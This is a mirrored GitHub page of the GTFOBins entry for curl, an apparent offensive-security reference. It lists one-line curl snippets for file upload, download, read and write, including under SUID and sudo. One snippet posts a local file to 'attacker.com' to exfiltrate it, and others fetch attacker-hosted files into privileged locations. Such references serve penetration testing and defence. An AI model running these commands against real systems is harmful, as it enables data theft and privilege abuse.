1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/curl.md
Victorio Scafati 40a850064e
Fix curl file-upload
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-12-16 15:15:44 +01:00

1.3 KiB

functions
file-upload file-download file-read file-write suid sudo
description code
Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the `@` to send hard-coded data. URL=http://attacker.com/ LFILE=file_to_send curl -X POST -d "@$LFILE" $URL
description code
Fetch a remote file via HTTP GET request. URL=http://attacker.com/file_to_get LFILE=file_to_save curl $URL -o $LFILE
description code
The file path must be absolute. LFILE=/tmp/file_to_read curl file://$LFILE
description code
The file path must be absolute. LFILE=file_to_write TF=$(mktemp) echo DATA >$TF curl "file://$TF" -o "$LFILE"
description code
Fetch a remote file via HTTP GET request. URL=http://attacker.com/file_to_get LFILE=file_to_save ./curl $URL -o $LFILE
description code
Fetch a remote file via HTTP GET request. URL=http://attacker.com/file_to_get LFILE=file_to_save sudo curl $URL -o $LFILE